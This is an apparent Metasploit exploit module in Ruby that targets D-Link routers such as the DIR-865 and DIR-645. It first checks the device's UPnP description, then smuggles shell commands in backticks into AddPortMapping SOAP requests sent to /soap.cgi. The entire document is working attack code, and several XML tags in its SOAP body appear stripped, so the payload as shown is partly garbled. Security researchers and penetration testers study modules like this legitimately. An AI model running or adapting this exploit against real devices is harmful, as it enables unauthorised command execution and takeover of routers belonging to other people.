## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'D-Link Devices UPnP SOAP Command Execution', 'Description' => %q{ Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability, there is no output for the executed command. This module has been tested on DIR-865 and DIR-645 devices. }, 'Author' => [ 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, 'References' => [ ['OSVDB', '94924'], ['BID', '61005'], ['EDB', '26664'], ['URL', 'http://www.s3cur1ty.de/m1adv2013-020'] ], 'DisclosureDate' => 'Jul 05 2013', 'Privileged' => true, 'Payload' => { 'DisableNops' => true }, 'Targets' => [ [ 'MIPS Little Endian', { 'Platform' => 'linux', 'Arch' => ARCH_MIPSLE } ], [ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target { 'Platform' => 'linux', 'Arch' => ARCH_MIPSBE } ], ], 'DefaultTarget' => 0 )) deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') register_options( [ Opt::RPORT(49152) # port of UPnP SOAP webinterface ]) end def check begin res = send_request_cgi({ 'uri' => '/InternetGatewayDevice.xml' }) if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /DIR-/ return Exploit::CheckCode::Detected end rescue ::Rex::ConnectionError return Exploit::CheckCode::Unknown end Exploit::CheckCode::Unknown end def exploit print_status("Trying to access the device ...") unless check == Exploit::CheckCode::Detected fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device") end print_status("Exploiting...") execute_cmdstager( :flavor => :echo, :linemax => 400 ) end def execute_command(cmd, opts) new_portmapping_descr = rand_text_alpha(8) new_external_port = rand(32767) + 32768 new_internal_port = rand(32767) + 32768 uri = '/soap.cgi' soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" data_cmd = "" data_cmd << "" data_cmd << "" data_cmd << "" data_cmd << "#{new_portmapping_descr}" data_cmd << "" data_cmd << "`#{cmd}`" data_cmd << "1" data_cmd << "#{new_external_port}" data_cmd << "" data_cmd << "TCP" data_cmd << "#{new_internal_port}" data_cmd << "" data_cmd << "" data_cmd << "" begin res = send_request_cgi({ 'uri' => uri, 'vars_get' => { 'service' => 'WANIPConn1' }, 'ctype' => "text/xml", 'method' => 'POST', 'headers' => { 'SOAPAction' => soapaction, }, 'data' => data_cmd }) return res rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end end